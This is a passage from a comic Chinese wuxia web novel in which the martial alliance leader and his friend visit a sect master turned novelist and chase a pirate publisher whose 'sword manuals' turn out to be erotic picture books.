我见李小谦说得越发玄乎,忍不住插了一句:“我看司徒清尘的枪法也很厉害啊!” 那日在括苍派,司徒清尘与管天下的比试,他的长枪速度惊人,远胜过管天下的双刀。他在柱子上刺下的“还是老夫快”五个大字便说明了一切。 李小谦说:“不能只看速度,有速度而没有力道,不是白费嘛。” 我说:“八茅师父曾经说……” 李小谦打断我,说:“别提你的八茅师父了,他又不是什么武林高手,充其量不过是一个武林低手。如果他说得都是对的,他就不会被雁荡山的土匪杀死了。” 我沉默了。 司徒清尘的枪法如何,我并不想了解太多。可是,我想到的确实我一直苦苦修行的剑法。 其实,哪里有什么剑法。不过是一个奇怪的竹筒里没休没止地射出一些银针。而我,便没头没尾地拿剑去挡。 没有任何招式。 唯一能够练到的,只有速度。 我拿出了白景行给我的那个木盒。那个无论如何也找不到机 关的木盒。那个打不开的木盒。 李小谦看了那木盒一眼,说:“你还没有想到打开的办法吗?” 我摇了摇头,更加失落,说:“没有。” 李小谦说:“会有办法的。或许你打开的时候就会发现,打开它的办法,非常简单。” 我收起木盒。一阵茫然,心想,但愿如此吧。 5. 到南华山脚下的镇子时。碰见一个十一二岁的半大小徒。他摇着黄色的幡在人群里闲逛,哪里人多,他便钻到哪里,一边走,一边喊着号子。 “司徒大作,洪荒巨著。” 他拖着长音,嗓音有些嘶哑,显然是喊得太久了,连语气里都带着极度的不耐烦。 风一吹,将手里举着的杆子上的黄幡兜起来,图案精致的黄色绢布上,赫然写着“证道记”三个大字! 我拉住那名小徒,问:“你是南华派的弟子吗?” 那小徒打量了我和李小谦一番,说:“买书吗?” 李小谦凑到跟前,一脸淫邪,小声地问:“什么书?带插图吗?” 那小徒用手抖了抖杆子上的黄布,说:“我们掌门的大作,洪荒巨著。” 李小谦一愣,叫道:“我靠!堂堂南华派掌门竟然在写?!” 那小徒又将李小谦上下打量了一番,或许觉得他并不真心买书,当即挤了一个白眼,扭头要走。 “等等!”李小谦拦住那小徒,说,“我买一本。” 小徒喜笑颜开,从背囊里掏出一本装裱精致的册子,封面写着端正证道记三个字。他说:“十五文一册。” 李小谦将书攥在手里,把十五枚铜板放到那小徒高高举起的手中。然后,他问:“你师父在山上吗?” 那小徒连连点头,说:“师尊正在山上闭关写书。” 我问:“司徒掌门为什么要写书啊?” 那小徒警惕地往四周看了看,小声地对我说:“以前我们在镇上开妓院,现在朝廷不让干了。只能写书挣点银子生活。” 说完,那小徒走了。他手上的黄幡轻摇。虽然他的声音嘶哑,虽然他已有许多不耐烦,但他依旧很卖力地喊着。 “南华大作,洪荒巨著!” (本章完) 第二卷 武林盟的开始与结局 第一百一十章 司徒 1. 我和李小谦登上南华山的时候。南华派的弟子从上到下都在忙忙碌碌的翻印书册。 南华派的门口摆了一个书摊,书摊的前面挂着一个三尺多长的旗子。 旗帜飘扬。证道记三个大字,赫然入目。 摊子上整整齐齐的摆了七八摞书册,每一摞都有四五十本之多。 一个满脸冒着油光的胖子坐在书摊儿前摇着是折扇,百无聊赖。他看见我和李小谦,当时眼睛一亮喊道:“两位老爷是来买书的吗?” 李小谦笑着,举起手里的书册摇了摇,说:“我在山下已经买过了。” 那胖子从书堆里举起两本,说:“你买的是第一卷,我这里还有第二卷和第三卷,不如一同买去看看?” 我不耐烦地说:“不买不买,武林盟主驾到,快叫你们掌门出来迎接。” 那胖子撇了我一眼,不屑地问:“你就是那盘儿菜?!” 我当时怒气填胸,一脚踢翻了他的书摊儿叫道:“你敢侮辱老子。” 那胖子毫不示弱,一把扯下在空中飘荡的“证道记”的大旗,撩起旗杆向我大喊:“不知好歹,竟敢到南华山上来闹事!” 我定睛一看,他手里哪里是旗杆,分明就是一只枪头闪亮的长枪。 那胖子虽然胖,但身手却十分灵活。他弓步向我,前手虚握,后手发力,长枪如灵蛇出洞,嗖地向我胸口刺来。 我向左一闪,随即掏出九郎剑。五彩宝石一闪,九郎剑发出铮的一声轻吟。 我一手抓住那胖子的枪杆,另一只手挥起九郎剑,向枪杆上一砍。 锋利的九郎剑,切断这根普通的铁质枪杆,犹如刀切豆腐一般,不禁轻而易举,而且削铁无声。 那胖子才出一招,就被我毁了兵刃,当时脸色青红交错,又惊又恼。他哇哇大叫两声,一脚踢在桌案之上。 桌案被他踢得腾空飞起,在空中旋转着砸向我的头顶。 李小谦大叫一声:“快躲!” 为什么要躲? 偌大的木桌在空中翻腾着,带着呼呼得声响。任何人,只要被他砸中,恐怕会当场丧命! 但是,我却总感觉他并没有那么可怖。 纵然威力再怎么惊人,它却也逃不开我的眼睛。它在空中翻腾的每一下,都无比清晰地收在我的眼底。 或许,这就是苦练的结果。 木桌翻滚着,已离我的头不足两尺。那个胖子似乎也慌了,他还是冲着我大叫:“快躲开!”【*~爱奇文学#~更好更新更快】 我下意识攥紧了九郎剑的剑柄。忽然,我感觉自己的手中好像没有了剑,只有一股很强很强的力量,在我扬起手臂的一 瞬间从手中蹿了出去。 “咔啦”一声巨响。 九郎剑还在我手中,它并没有碰到那个腾空翻滚的木桌。但那个木桌,已经在我头顶一尺处裂成了两段。 断口齐整,仿佛是被工匠乐意锯开的一般。在空中,一般向我左侧飞去,一半向我右侧飞去。“哐啷,哐啷”紧凑的两声,两半木桌几乎同时砸在地上,登时沉沙飞扬。 沉沙落下,我看到那胖子苍白而惊恐的脸色。他连连向后退了几步,又喊了一声:“快,快来人啊!有人到山门闹事!” 片刻功夫,南华派的大门里跑出十几个手持长枪的南华弟子。他们个个表情凝重,如临大敌。一双双圆咕噜咚的眼睛死死地盯着我。 “来着何人?”一个年纪稍长地男子,长枪直挺,枪尖对着我的胸口,喝道。 我还未开口,那个满脸油光的胖子小声的说了一句:“那个菜!” 胖子刚说完,年长的男子微微一怔,随即将长枪收回手中,往地上一戳,朗声说道:“盟主驾临我南华山,不知有何贵干?!” 我问:“你们掌门呢?我要见他!” 那人呵呵一笑,说:“盟主来的不是时候,我们掌门此时正在闭关,任何人都不见!”他说最后一句话的时候,还故意加重了语气来强调。 李小谦笑了笑,说:“这位大哥不瞒你说,我和盟主拜读了司徒掌门的大作之后,钦佩之情,犹如滔滔江水,连绵不绝。因此,特地上山拜会,希望可以向司徒掌门讨个签名!” 几个人面面相觑,眼光中皆露出惊喜之色。 李小谦又说:“既然赶得如此不巧,那便算了吧!”说完,他转身拉着我的手臂就要走。 “就这样算了?”我不能接受。 李小谦冲我眨了眨眼睛。他刚眨了两下,就听见身后那个年长的男子说:“两位请留步!” 我和李小谦回头看他。他果然客气了许多,对我说:“请两位到堂内用茶,我这就去禀报师父。” 2. 大约等了半个时辰。 半敞的房门前一黑。一个宽大的影子将阳光遮挡的严严实实。 他站在门口一动不动。一个小弟子慌忙赶过来,将另半扇门打开。他才摇晃着身子,走了进来。 “司徒掌门。”李小谦恭敬的行礼。 司徒清尘客气的还礼,说:“久等了。”他转头看向我,先是一怔,随后勉强地笑了笑,说:“原来,姬大盟主也来了!” 我点了点头,说:“管天下的事你听说了吗?”刚说完,李小谦就在旁边悄悄拉了我一两下。 司徒清尘呵呵一笑,说 :“原来你们是为了这件事来的。” 我刚想开口说话,却被李小谦打断,他说:“我在山下拜读了司徒掌门的大作,甚是喜欢。不知司徒掌门有没有时间和我们聊两句?” 司徒清尘微微一笑,说:“请坐!” 刚刚坐下,就听到司徒清尘重重地叹了一口气。李小谦问:“司徒掌门因何事叹息?” 司徒清尘面容苦涩,只强颜欢笑却也不说话。 李小谦试探地问:“书卖得不好?” 司徒清尘点了点头,愁容更甚。 李小谦翻着山下买来的书册,说:“司徒掌门才华横溢,写的故事精彩绝伦。只可惜不太符合现在人的口味。” 司徒清尘顿时来了兴趣,问:“此话怎讲?” 李小谦也是兴致勃然,盘起腿来一边比划着,一边说:“我告诉你啊,我以前在我们那里也写,一连写了好几部都没什么流量。后来我发现,现在的人谁还看正儿八经的。他们都喜欢看什么狂人被日记啊,哆啦梦啊,霸王别搞姬啊!你只要往这个题材上写,绝逼一书封神!” 司徒清晨一脸茫然,张着嘴巴,眼睛愕然地盯着李小谦,结结巴巴地说:“这,这是何意?老夫,不,不太明白。” 李小谦忽然一怔,尴尬地咳了两声。他冲我笑了笑,然后端正身子,一本正经地说:“不知司徒掌门为何要举全门派之力,来写书卖书呢?” 司徒清尘有些忧郁地说:“自从巢湖武林大会之后,我南华派上下遵从白景行盟主的号令,把门下经营了多年的两间妓院关了,却从此也断了山上的收入来源。两百多张嘴等着吃饭,无奈之下,我只得弃武从文,闭门写书,以此来挣些糊口钱。我勤勤恳恳笔耕不辍,好容易写下三卷,数十万字之多,刊印的书册尚未卖出多少,却被一些无良书商,盗版印制。尤其是那个叫趣笔阁的,我新书刚卖出一册,他那里竟已翻摆了几万册,使得我南华派上下一番心血,尽付东流。如何能不叫我叹息?” 眼看着他们两个聊得越来越起劲。我再也按耐不住,喊道:“我们来这里不是闲聊的,我想问司徒长们对管天下之事怎么看?” 司徒清晨冷哼了一声说:“站着看,坐着看,都行!” 李小谦捂着脸一阵长吁短叹。最后,他无奈的摇了摇头说:“司徒掌门,既然盟主已经把话说开了,那我便直接问了。你可知管天下公然反对武林盟,煽动各大门派召开武林大会,择立新的武林盟主,这样的事一旦发生,会给这个江湖带来怎样的灾祸?” 司徒清尘说:“老夫潜心写书,不问江湖之事。 两位若是为了江湖的事而来,那还请两位回去吧。” 李小谦说:“司徒掌门三思。常言道,覆巢之下,安有完卵。若江湖上真的因为管天下的事引得朝廷不满,司徒掌门真的觉得自己可以安然无恙的躲开这些是非吗?” 司徒清尘沉默了许久。他说:“两位请回吧。江湖如今成了这个样子,是存是亡已然没有什么意义。若大厦之将倾在天命所定,那我南华派,也只好听天由命。” 说罢,司徒清尘,拂袖而去。走出屋门之后,对着弟子重重地说了一声:“送客!” 3. 司徒清尘漠然的态度我感到意外。 走出南华派的大门后,我问李小谦:“怎么会这样?” 李小谦愤怒的说:“是你操之过急了!我们应该先和他屁歪(py),循序渐进,进去正题。” 我问:“什么是屁歪?” 李小谦思索了片刻,说:“总之就是处关系,只要关系到位了,一切水到渠成。” 我说:“那现在我们该怎么办?我们已经和他没法再屁歪了!” 李小谦嘿嘿一笑,说:“那倒未必!我有一个好主意,能帮司徒那老家伙解决盗版的心病!” 我问:“什么办法?” 李小谦挺直胸膛,傲然说道:“荡平趣笔阁!” (本章完) 第二卷 武林盟的开始与结局 第一百一十一章 破庙 1. 我和李小谦四处打听趣笔阁的消息。然而,趣笔阁却像是影子一样神秘。 街面上到处都是印了趣笔阁字样的书册,但却如何也打探不到趣笔阁的真实所在。 我抓了一个卖书的小贩,一只手攥着九郎剑,另一只手拿着一本印了趣笔阁字样的书,说:“这是哪里来的?” 那小贩颤颤巍巍地说:“我,我从城东的二郎庙里贩来的。” 难道,趣笔阁在二郎庙吗? 然而,那小贩却说:“每月逢五逢十,子时至丑时,城东的二郎庙,就会有一个黑脸的汉子,拉着满满一牛车的书册到那里分发。” 分发? 我问:“这些书册不要钱吗?” 那小贩说:“不要钱,都是白送的。” 我和李小谦对视一眼,都是一片茫然。我暗自琢磨,莫非这趣笔阁的人是赔本赚吆喝不成,这么多的书册,竟然都是白送的,他们这么做到底是想要做什么? 李小谦问:“那他们是如何盈利的?” 小贩嘿嘿一笑,他拿起一本书册翻到最后一页,说:“两位大爷请看这里。” 我和李小谦同时向他手指的地方看去,只见微微发黄的纸张上,写着两行小字。 “春花满楼红袖阁,风月俏佳人。” “大杀四方李家坊,四两拨千斤!” 我问:“这是什么意思?” 小贩说:“两位老爷许是外地来的吧?” 我点了点头,说:“是。” 小贩说:“这就难怪了。这两句话里所说的红袖阁和李家赌坊乃是江西一带有名的青楼和赌坊,他们两家出钱给趣笔阁印制书册,其利润之丰厚不知比我们这些辛苦贩书的高出多少倍呢。”说话间,他的眼中尽是贪婪羡慕的神色。 李小谦长长叹息了一声:“我靠!这操作也太现代化了!我真想去会会这个趣笔阁了!” 我问:“今天是什么日子?” 李小谦思索片刻,忽然眼睛一亮,喊道:“今天是初五!今夜子时,城东二郎庙!” 小贩诺诺地看着我俩,小心翼翼地问:“莫非……两位老爷也是来贩书的?” 我瞪了他一眼,他慌忙将头往后一缩,我说:“老子不贩书!” 2. 深夜。子时刚过。 弦月如钩。【!爱奇文学*&更好更新更快】 永新城外五里,有一间荒废已久的破庙,庙宇中供奉着二郎神的巨型雕像。因年久失修两支右臂皆有不同成都的缺损,原本仪容清俊、相貌堂堂的郎君神雕像,成了一个赖头赖脸,缺胳膊少腿的怪物。 虽是深夜,虽是荒郊野岭里残破不堪的二郎庙, 门口却比小镇的街市都要热闹。 从各地赶来的书贩子聚集等候,各个神色既期待,又焦急。 “听说证道记出了第三卷了?”一个高个子书贩说。 “可不嘛。前些天,我还见到一个括苍派的小弟子在街上叫卖呢!”一个矮个子书贩说。 “你们还在卖那些?”一个胖子书贩说。 “不卖卖什么?”一个瘦子书贩问。 高矮胖瘦四人围成一个圈,只听胖子说:“上月三十,我来得晚了一些,在牛车底下发现了十几摞没人要的刀谱,那黑脸说是新印制的,不知销量会如何。我当时心想,好容易来一趟,总不能空手而归吧。我便将那些刀谱尽数收走了。没想到,这刀谱在市面上颇受青睐,几百册刀谱,仅用了两天的功夫,竟然销售一空。这次我来,便是要再多拿些刀谱回去,照此下去,不出几月,老子可就发了。” 众人闻之,皆是一脸惊讶。 高个子问:“什么样的刀谱竟然这样受欢迎?” 那胖子说:“叫龙神刀法!” 龙神刀法? 这名字怎么有些熟悉呢? 我思索着。李小谦原本在地上盘膝而坐,忽然跳了起来,低声叫道:“我靠!他们把龙虎帮的武功秘籍也盗版了!” 我猛然打了一个哆嗦。 因为,这件事听起来简直骇人听闻。 在这个江湖上,即便是在微不足道的门派,也会将自己门派的武功秘籍视若瑰宝,莫说是这样公认地在街上卖,就是有人想要悄悄的看上一眼,都是绝不可能的事情。 但是,这样的事,却真真切切地在那个胖子的口中说了出来。 我问李小谦:“那秘籍真的是龙虎帮的秘籍吗?” 我想起来周望安那急如霹雳一般的莽夫性格,若被他知道了,有人已将他门派的刀法翻印,在街市上肆无忌谈地叫卖,而且一册不过区区几颗铜板,不知那个莽汉会作出怎么样的反应。 想着想着,我竟然有些期待了。 “想什么呢?”李小谦在我面前摇了摇手,说,“眼睛直勾勾的,一准没想好事。” 我说:“如果周望安知道了这件事会怎么样?” 李小谦说:“那还不把趣笔阁一把火烧成灰嘛!”他话刚说完,忽然眼睛一亮,说:“好主意,我们告诉周望安!” 我不解,问:“告诉周望安干什么?” 李小谦翻了一个白眼,说:“我以为你明白呢!” 我说:“我不明白。” 李小谦说:“我们把消息传递给周望安,让周望安来荡平趣笔阁。我们只要跟在他的后面, 来个偷梁换柱,把他的功劳说成是我们的功劳,一样可以在司徒清尘那里卖人情。” 我有些担忧,问:“这样可行?” 李小谦打了个响指,胸有成竹地说:“绝逼可行。” “哞~” 远远地一声牛叫,原本还在七嘴八舌议论着的书贩子仿佛是同时得了什么指令一般,同时闭上了嘴巴,所有的眼睛齐刷刷地响着牛哞之声传来的方向看去。 李小谦盯着老牛走来的方向,问:“怎么也每个人?只有头牛拉着车?” 我仔细看了看,果然如李小谦所说。百米之外,隐约可以看到一头老牛摇晃着脑袋,拉着一个笨重的牛车,缓步前进。 车上没有人,只看见隆起的棱角清晰的影子高高耸起在车架上,摇摇晃晃,拖着老牛的步子,让它原本沉重而缓慢的步子,更加沉重、缓慢。 人呢? 不是说有个黑脸的汉子拉着牛车前来吗? 似乎过了许久,牛车距离我们大约还有五十米。 我依然只看见一只年迈的老牛,拉着沉重的车架,一步一颠,一步一晃。远远看着,不禁为那老牛捏一把汗,唯恐那车架上高耸的书册会随时倾倒,连车带牛地歪在地上。 我正在为老牛担忧。忽然,牛与车架相连的地方有雪白的光影一闪而过。 我揉了揉眼睛,依旧是老牛拉着沉重的车架缓步前进。 “你看到了吗?”我问李小谦。 李小谦表情异常凝重,他点了点头,说:“看见了。” 我问:“那是什么?” 李小谦摇了摇头,说:“从没见过。” 我说:“感觉像是什么暗器,在那里一闪而过。” 什么暗器呢? 我忽然想到了月亮弓,那弯得像月亮一样的弓,它射出的箭,也会如方才那样,眨眼之间,一闪而过。 老牛已经离我们还剩二十米。月光下,老牛的神态已经渐渐清晰,它身后摇摇晃晃的,是堆积得如山一般的书册。 还有,那老牛与车架之间的雪亮光芒,忽闪忽闪,犹如天上的星星一般。 “是什么东西?”我心里一阵紧张。我已经可以确定,那绝不是月亮弓!没有哪一张弓射出的箭,会在同一个位置,不停地忽闪。 李小谦没有说话。 因为,老牛距离我们已不足十米了。 我也不再说话。 因为,我已经看清了那道忽闪忽闪的雪亮白影,竟然是那个黑脸汉子的牙。他穿了一身黑色的衣裳,头上蒙着黑色的头巾,黝黑的脸完美地融入黑夜。唯独他那一排雪白的牙齿......似乎是塞了什么东 西,他一只手在嘴边抠下,嘴唇蠕动片刻,然后露出一排牙再抠,如此循环往复,牙齿倒映着月光,远远看去,竟像是穿过雾霭的星光,闪闪烁烁。 “你们可以来领书了!”他跳下牛车,用十分怪异地口音说着,我从来没有听过那样怪异的口音。可以说,自幼走南闯北,平生仅此一闻。 李小谦竟然张口骂道:“尼玛,这朝代竟然还有非洲老黑!” 我问:“何为非洲老黑?” 李小谦指着那个黑脸白牙说:“这就是非洲老黑!” 3. 不到一个时辰。牛车被一群书贩子搬运一空。 他们将书册搬上各自的马车,有几个衣着略显寒酸的书贩子没有马车,便只是尽可能多地将书册塞进背筐,直到塞得满满当当,再也塞不下去了,他们才依依不舍地离去。 一个背筐的书贩子从我跟前过去。似乎是踩到了什么东西,他肩头一晃,几本书从框里滚到地上。他极力地想要弯身去捡,奈何背筐了满满的书册已不容许他倾斜半寸,他只得惋惜地看着地上的书册,摇头离去。 我走上前去,将地上的书册捡起来,轻轻拍了拍上面的泥土,看了一眼封面。忽然,我只觉得一道厉雷霹雳从天而降,直轰我的头顶。 因为,那本书的名字叫,虎牙剑法! (本章完) 第二卷 武林盟的开始与结局 第一百一十二章 大全 1. 黑脸白牙的汉子将书发完之后,赶着牛车便走了 我端着那本虎牙剑法秘籍,不住地琢磨着,到底是什么人泄露了龙虎帮的秘籍,又是什么样的人敢这样肆无忌惮地翻印。 李小谦拉着我,说:“跟上去看看!” 我将虎牙剑法的秘籍揣入怀中,随着李小谦疾步追了上去。 步履缓慢的老牛卸掉了沉甸甸的书山,再返程,步子却是奇快。 我已累得浑身冒汗,气喘吁吁,却离那牛车越来越远。我说:“这,这也太快了!我,我跑不动了!” 李小谦也是上气不接下气,又坚持了一会儿,我二人再也坚持不住了,身子一沉,双手坐在了地上。李小谦骂道:“他妈的,这哪里是牛车!马车都没有这么快!” 我深吸几口气,稍稍平定内息,感觉气息平稳了许多,我说:“我们继续追!”说完,我手掌往地上一杵,便勉力站了起来。 李小谦一只手拉着我的裤腰,我一起身,只听“呲啦”一声。大腿一凉,一只裤腿从腰间裂到脚跟。 我慌忙捂住双腿之间,避免外泄。随即对李小谦叫道:“你干什么!” 李小谦哈哈大笑,他说:“我实在是跑不动了,向拽住你,没想到你裤子这么不结实。” 我说:“你分明就是有意为之!” 李小谦笑得更欢了,他躺在地上,一只手不停地拍着地,说:“我发誓,我真不是有意的。哈哈哈......” 夜深寂静,他的笑声仿佛充斥了整个天地。 我怒火勃然而起,顾不得捂着裤裆,趴在李小谦的身上,一只手抓住他的裤腰,使劲地往下扯。一边扯着,一边喊着:“看我不把你裤子撕烂!” 李小谦两只手死死攥着裤腰,求饶道:“不要!不要!” “滋啦,滋啦”两声,李小谦的裤子被我拽了两个硕大的窟窿。我心里一阵畅快。有一种大仇得报的快意,忍不住哈哈地笑了起来。 “你们在做什么?!” 忽然,一个熟悉的声音传来,划破夜空,仿佛在一瞬间刺进了我的心脏。 我转身一看。迷迷蒙蒙地夜色里,一身白衣如雪的身影,一张俊俏的脸,眉头紧锁,两只眼睛瞪得如核桃一般大小。 “小,小月!”我慌忙站起身来。 一起身,裤子瞬间掉到地上。小月“啊”地叫了一声,骂道:“下流坯子!”说罢,她转身气冲冲地就走。 我两只手提着裤子,在后面紧跟不舍,一边追着,一边说着:“小月,你去哪里了?你怎么又回来了?你慢些走,等等我呀!” 小月毫不理 会,自顾自地向前走。我俩一前一后,走了快步走了莫约百十米。小月越走越急,由快走转为快跑,我害怕小月再次音信全无,顾不得直往下掉地裤子,在后面急步紧追。 “下流货!”小月骂着,“不要跟着我,快滚!” 我心急如焚,喊着:“别跑!你站住!” “无耻淫贼!” 一声怒喝犹如是晴朗地夜空里打了一声响雷。 我和小月同时停下脚步,循声望去。只见不远处地树林里冲出一个魁梧地黑影,他手上端着兵刃,再月光下闪着夺目地光彩。 他正快步向我们跑来。 我当即意识到,此人或许来者不善。 果不其然,他尚未跑到我跟前,依然腾空跃起,手中兵刃一闪,竟是一柄三尺长地宝刀。刀高高举过头顶,刀刃倒映着月光,照亮了那人地脸。 虽然是,一闪而过。但那瞬间,我依然看清了他的样貌。他年龄不大,四方脸,鹰钩鼻子,短促秀眉下一双眼睛,炯炯有神。 然而,我并没有太多时间端详他的样貌,也没有时间思索他的来路。因为,他的刀锋已然落了下来,如同是弯弯的月亮从天而降。 我抽出剑来与他对碰。心想,以九郎剑的锋利,只要刀剑接触,他那柄刀当时就要断成两截。 然而,结果让我惊讶。 刀剑相撞,火光四射。我只感觉一股大力从九郎剑一直传到了我的肩甲骨,震得我一整条手臂都在发麻。 还不容我多想,那方脸又喝了一句“淫贼看刀!”,一招横扫刀向我扫来。我挥剑又是一挡,“当”的一声,火光四射。 “来者何人?”我向后退出几步与他拉开距离,喝问,“为何要对我出手?” 方脸冷哼一声,说:“光天化日,你欺辱良家女子,难道还不该死?!” 光天化日? 我抬头看了看天上地月亮。方脸与我一同抬头,随后手一挥,说:“夜晚也不行!” 我刚想要向他解释,方脸又一次撩刀向我冲了过来。这次,他并未直接与我对撞,刀锋行至半途,他忽然又收回几寸,挂刀向左,我横剑格档,他却又忽然撩起腕花,刀尖儿挑向我地小腹。 这一连串地刀法变幻极为迅速,虽然我惊险挡下,但也着实让我惊出了一身冷汗。这人刀法变幻杂乱无章,完全摸不清他的套路,但他所使出地每一刀,却又有一个相同地目标,那便是杀我! 方脸又一刀劈来,我正要格挡,忽然一股大力将我整个身子向后一拉。 “当”!刀剑有一次撞在了一起,撞出一片飞舞地火花。但是,刀还是他的刀,剑 却不是我的剑。 方脸“咦”了一声,收刀向后躲闪。他站定身子,疑惑地看着横剑挡在我身前的小月。他说:“姑娘,你为什么......” 他话还没说完,小月却已经冷冷地将他打断了:“多管闲事!走开!” 方脸用刀指着我,急道:“姑娘,他可是要轻薄你!” 我说:“我没有!” 方脸说:“我都听到了,这位姑娘喊你‘下流’,还让你不要跟着他。”他用刀尖儿向下一指,又说:“你裤子都掉下来了,还说不是要轻薄这位姑娘。” “兄台误会了!”这时候,李小谦两只手提着被我撕得破破烂烂的裤子,一瘸一拐地走了过来,他说,“方才说我俩闹着玩的,不巧被这位姑娘撞见,产生了些误会。” 方脸看了看李小谦地裤子,有看了看我地裤子,嘴一咧,满脸嫌弃。 小月莞尔一笑,她把剑收了起来,向那方脸微微一抱拳,说:“虽说是一场误会,不过,还是要多谢兄台仗义出手!” 方脸看着小月地眼睛明显痴了那么片刻,他脸一红,目光左移,结结巴巴地说:“别,别客气。” 既然是误会......我随即跟着向方脸抱拳,说:“不知兄台怎么称呼?” 小月扭头向我挤了一个白眼,冷哼一声,骂道:“下流胚子!” 李小谦忍不住地捂着嘴笑,小月瞪了他一眼,喝道:“笑什么笑,你也好不到哪里去!” 方脸愣在那里有些尴尬了,他轻咳了两声,向我还礼,说:“在下龙虎帮房大全,一场误会,还请各位多多包涵。” 我笑着说:“包涵,包涵!” 房大全一怔,随即哈哈大笑,说:“兄弟说话真是风趣,不知兄弟如何称呼?” 我说:“我告诉你可以,但你不许笑!” 房大全又是一愣,点了点头,说:“不敢。” 我说:“我叫姬旦丙!” 房大全身躯一震,脸色登时大变,叫道:“你是武林盟主?” 我顿时感觉浑身发光,似乎照亮了周围地空间,挺着腰板回应:“不错,我就是武林盟主。” 房大全抱拳说道:“失敬!失敬!”他看向李小谦,问:“这位兄台是......” 李小谦说:“在下李小谦。” 房大全心不在焉地回了一句:“久仰久仰。”随后,他两只眼睛盯着小月,问:“方才多有得罪,斗胆请教姑娘芳名?” 小月微微一笑,她悄悄地从腰间掏出一个物件,我仔细一看,竟然是那个青面獠牙的面具,她迅速地往脸色一扣,向着房大全“哇”地叫了一声, 大声喊道:“我是妖怪!”。 房大全防备不及,登时吓得脸色惨白,向后连退几步,一个踉跄,险些坐走地上。 小月咯咯地笑着,房大全一脸尴尬。我说:“小月,不要胡闹!” 不知为何,小月竟然冲我胸口猛地砸了一拳,骂道:“你真是个大傻子!” 我胸口一疼,下意识地抬起双手去捂。不料,手刚松开,被裂开地裤腰失去了提拉之力,裤子立时一落到底。一个人最隐私地地方,毫无保留地暴露在清清凉凉地月光之下。 2. 房大全十分大方地将他自己背囊里地衣服分给了我和李小谦。 对于这样一个陌生人,我因而多了许多好感。 换好衣服,我和李小谦从树林中走出来。房大全正站住小月身旁,不知在说些什么,小月带着青面獠牙的面具,双手掐腰向远处眺望,对房大全是一副爱搭不理地样子。 房大全见我二人换好了衣裳,笑着打量了一番,说:“还算合体。两位兄弟且先凑合一下吧。” 我和李小谦向房大全道谢一番。房大全忽然问:“这夜深人静,不知几位为何会在这荒僻之处?” 我说:“我们在追查趣笔阁的踪迹。” “趣笔阁?”房大全问,“从未听过江湖上有此门派。” 李小谦像是突然想到了什么一样,一拍手,问:“你真是龙虎帮的?” 房大全说:“不错,在下龙虎帮弟子,如假包换!” 李小谦说:“怎么证明?” 房大全沉默了片刻,忽然将刀端到我们面前,刀鞘精美,刀柄之上一条青龙蜿蜒而上,犹如走盘龙柱一般。他说:“这龙神刀乃是我师父云从龙亲手所传,在下便是龙神刀法地亲传弟子。” 我不禁一惊,心想,难怪这人如此厉害,原来是龙神刀地传人。又难怪这刀与九郎剑对斩多次都毫发无伤,原来这就是江湖上赫赫有名的风云二人的神兵之一。 李小谦说:“既然你是龙神刀地传人,那这件事我更要告诉你了!” 房大全收起龙神刀,问:“何事?” 李小谦说:“你们龙虎帮地龙神刀法和虎牙剑法被人盗版印制,如今大街小巷到处都是你们卖秘籍的,据说销量还不错!” 房大全脸色大变,叫道:“绝无可能!我龙虎帮一刀一剑两套绝学,向来只是单传,我承学龙神刀法,我掌门师兄承学虎牙剑法,这两本秘籍都是由我二人分别保管,绝无外泄的可能。” 我从怀里掏出那本虎牙剑法,递给房大全。房大全一把夺过来,看着封面上虎牙剑法的字样,他迟疑了片刻,但还是打 开看了起来。 房大全刚刚翻了两页,脸色便已如沸腾地红油一般,他大叫一声,朝天大吼:“是谁!是谁如此大胆,竟敢如此亵渎我龙虎帮地绝学!” 我拍了拍他肩膀,说:“你别激动。刚才你有没有看到一个牛车跑过去?”我想起方才房大全跑来地方向与那牛车跑走地方向大致相同,便顺便问了一句。 没想到,房大全竟然真的遇到了,他说:“我遇到了,那人迷了方向,还向我问了一下那里是东方。” 我大喜,问:“那人长什么样?” 房大全思索一番,说:“黑脸!白牙!” (本章完) 第二卷 武林盟的开始与结局 第一百一十三章 隐身 一片镜湖,月影在湖面上摇曳。风一吹,湖面上波澜荡起。 我们顺着黑脸白牙走的方向,一路追赶。追到这片镜湖之时,那黑脸白牙正在湖边坐着。他盯着,煞白的眼珠时隐时现,用十分怪异的口音说“你们是什么人?为什么要追我?” 房大全二话不说,先拔刀相向,刀尖儿抵着那人的胸口,喝道“你是什么人,为何要侮辱我龙虎帮?!” 黑脸白牙说“我是天竺来的,我不明白你在说什么?” 李小谦叫道“胡说八道,印度阿三哪有你这么黑?!” 黑脸白牙一笑,露出雪白的牙齿,说“你懂得可真多。我的确不是纯粹的天竺人,我的故乡比天竺更遥远。但我却是在天竺长大的……” 房大全吼道“我不管你是哪里人,我只要知道,你为何要侮辱我龙虎帮?” “侮辱?”黑脸转着白眼珠,说,“我不明白你在说什么!” 房大全从怀里掏出那本虎牙剑法,愤怒地甩在黑脸之上,喝道“证据确凿,你还敢狡辩!” 黑脸的脸与黑夜融为一体,我看不到他的表情,只看到他那对闪烁的白眼珠,和两排仿佛是漂浮在空中的白牙。 黑脸白牙从地上捡起虎牙剑法,随意翻了两页,说“这与龙虎帮有什么关系?” 房大全气得大口喘着粗气,狠狠地说“你竟然敢将春宫图册换上我龙虎帮剑法名称,分给书贩,公然销售,不是侮辱我龙虎帮又是什么?” 春宫图?! 我上前夺过黑脸白牙手里的书,翻开一看,里面竟然都是一些赤身裸体的男女交欢的图画,根本就不是什么剑法。 “什么是春宫图?”小月好奇地凑过来,忽然“啊”地叫了一声,骂道“下流!快扔掉!” 黑脸白牙摊了摊手,说“这有什么问题,这些书卖得非常好。之所以会换上剑法的名称,是为了躲开官府的检查。” 李小谦从我手上抢过书册,认认真真地翻着,两眼冒光,说“高手!我初中的时候,也是把黄书换上语文课本的书皮,来躲开老师的检查。这招叫暗度陈仓!” 房大全的刀悄然之间又相黑脸的黑脖子逼近了两寸,他冷冷地问“全天下又那么多武功秘籍,为何偏要印上我龙虎帮的虎牙剑法?” 黑脸白牙语气很无辜,他说“我们不止用了虎牙剑法的名字,前段时间还印了龙神刀法。” 房大全哇哇大叫,挥刀向着黑脸白牙砍去。 刀光一闪,却切了个空。 “我们印龙神刀法,又与你有什么关系?” 忽然,一个声音从远 处飘来,我们顺着声音仔仔细细地找了一番。那黑脸白牙似乎是隐身了一般,只听其声,不见其人。 “我在这里。” 米外,空中忽然浮现一排雪白的牙齿。房大全挥刀大叫“老子用得便是龙神刀!” 这一刀,房大全又扑了个空。 当我们再看到白牙在空中浮现时,他已经距离我们有十米之远。 我不禁骇然,这人竟然懂得隐身遁形之法,形如鬼魅,让人无从下手。 